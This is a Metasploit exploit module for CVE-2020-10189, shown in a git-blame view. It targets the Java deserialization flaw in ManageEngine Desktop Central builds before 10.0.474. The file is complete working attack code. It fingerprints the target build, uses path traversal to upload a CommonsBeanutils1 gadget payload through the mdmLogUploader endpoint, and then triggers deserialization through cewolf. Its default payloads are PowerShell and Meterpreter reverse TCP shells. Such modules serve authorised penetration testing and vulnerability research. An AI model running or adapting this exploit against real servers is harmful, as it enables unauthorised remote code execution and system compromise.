Files
metasploit-gs/modules/exploits/windows/http/desktopcentral_deserialization.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

212 lines
6.3 KiB
Ruby
Raw Normal View History

2020-03-10 02:08:16 -05:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
2023-03-13 10:31:27 +00:00
Rank = GreatRanking
2020-03-10 02:08:16 -05:00
prepend Msf::Exploit::Remote::AutoCheck
2020-08-14 13:11:38 -05:00
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
2020-03-10 02:08:16 -05:00
include Msf::Exploit::FileDropper
include Msf::Exploit::JavaDeserialization
2020-03-10 02:08:16 -05:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ManageEngine Desktop Central Java Deserialization',
'Description' => %q{
This module exploits a Java deserialization vulnerability in the
getChartImage() method from the FileStorage class within ManageEngine
Desktop Central versions < 10.0.474. Tested against 10.0.465 x64.
Quoting the vendor's advisory on fixed versions:
"The short-term fix for the arbitrary file upload vulnerability was
released in build 10.0.474 on January 20, 2020. In continuation of
that, the complete fix for the remote code execution vulnerability is
now available in build 10.0.479."
},
'Author' => [
'mr_me', # Discovery and exploit
'wvu' # Module
2020-03-10 02:08:16 -05:00
],
'References' => [
['CVE', '2020-10189'],
['URL', 'https://srcincite.io/advisories/src-2020-0011/'],
['URL', 'https://srcincite.io/pocs/src-2020-0011.py.txt'],
['URL', 'https://twitter.com/steventseeley/status/1235635108498948096'],
['URL', 'https://www.manageengine.com/products/desktop-central/remote-code-execution-vulnerability.html']
],
'DisclosureDate' => '2020-03-05', # 0day release
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'Windows Command',
2021-02-16 13:56:50 +00:00
{
'Arch' => ARCH_CMD,
'Type' => :win_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
}
}
],
[
'Windows Dropper',
2021-02-16 13:56:50 +00:00
{
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :win_dropper,
'CmdStagerFlavor' => :certutil, # This works without issue
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
],
[
'PowerShell Stager',
2021-02-16 13:56:50 +00:00
{
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :psh_stager,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 2,
'DefaultOptions' => {
'SSL' => true,
'WfsDelay' => 60 # It can take a little while to trigger
},
'Notes' => {
'Stability' => [SERVICE_RESOURCE_LOSS], # May 404 the upload page?
'Reliability' => [FIRST_ATTEMPT_FAIL], # Payload upload may fail
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
2020-03-13 11:05:14 -05:00
register_options([
2020-04-12 17:19:56 -05:00
Opt::RPORT(8383),
2020-03-13 11:05:14 -05:00
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
2020-03-10 02:08:16 -05:00
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'configurations.do')
2020-03-10 02:08:16 -05:00
)
unless res
2020-08-14 13:11:38 -05:00
return CheckCode::Unknown('Target did not respond to check.')
2020-03-10 02:08:16 -05:00
end
unless res.code == 200 && res.body.include?('ManageEngine Desktop Central')
2020-04-08 00:50:28 -05:00
return CheckCode::Unknown('Target is not running Desktop Central.')
2020-03-10 02:08:16 -05:00
end
build = res.get_html_document.at('//input[@id = "buildNum"]/@value')&.text
2020-03-10 02:08:16 -05:00
unless build&.match(/\d+/)
return CheckCode::Detected(
'Target did not respond with Desktop Central build.'
)
2020-03-10 02:08:16 -05:00
end
2020-04-12 17:28:54 -05:00
# Desktop Central build 100474 is equivalent to version 10.0.474
if build.to_i < 100474
return CheckCode::Appears(
"Desktop Central #{build} is a vulnerable build."
)
2020-03-10 02:08:16 -05:00
end
CheckCode::Safe("Desktop Central #{build} is NOT a vulnerable build.")
2020-03-10 02:08:16 -05:00
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :win_cmd
execute_command(payload.encoded)
when :win_dropper
execute_cmdstager
2020-03-10 02:08:16 -05:00
when :psh_stager
execute_command(cmd_psh_payload(
payload.encoded,
payload.arch.first,
remove_comspec: true
))
end
end
def execute_command(cmd, _opts = {})
2020-08-14 13:11:38 -05:00
vprint_status("Executing command: #{cmd}")
2020-03-10 02:08:16 -05:00
# I identified mr_me's binary blob as the CommonsBeanutils1 payload :)
java_payload = generate_java_deserialization_for_command(
2020-03-10 02:08:16 -05:00
'CommonsBeanutils1',
'cmd',
cmd
2020-03-10 02:08:16 -05:00
)
# XXX: Patch in expected serialVersionUID
java_payload[140, 8] = "\xcf\x8e\x01\x82\xfe\x4e\xf1\x7e"
2020-03-10 02:08:16 -05:00
# Rock 'n' roll!
upload_serialized_payload(java_payload)
2020-03-10 02:08:16 -05:00
deserialize_payload
end
def upload_serialized_payload(serialized_payload)
print_status('Uploading serialized payload')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/mdm/client/v1/mdmLogUploader'),
'ctype' => 'application/octet-stream',
'vars_get' => {
2020-04-27 20:58:39 -05:00
# Traversal from C:\Program Files\DesktopCentral_Server\mdm-logs\foo\bar
'udid' => '\\..\\..\\..\\webapps\\DesktopCentral\\_chart',
2020-03-10 02:08:16 -05:00
'filename' => 'logger.zip'
},
'data' => serialized_payload
2020-03-10 02:08:16 -05:00
)
unless res && res.code == 200
fail_with(Failure::UnexpectedReply, 'Could not upload serialized payload')
end
print_good('Successfully uploaded serialized payload')
2020-04-27 20:58:39 -05:00
# Shell lands in C:\Program Files\DesktopCentral_Server\bin
2020-03-10 02:08:16 -05:00
register_file_for_cleanup('..\\webapps\\DesktopCentral\\_chart\\logger.zip')
end
def deserialize_payload
print_status('Deserializing payload')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'cewolf'),
'vars_get' => {
'img' => '\\logger.zip'
}
2020-03-10 02:08:16 -05:00
)
unless res && res.code == 200
fail_with(Failure::UnexpectedReply, 'Could not deserialize payload')
end
print_good('Successfully deserialized payload')
end
end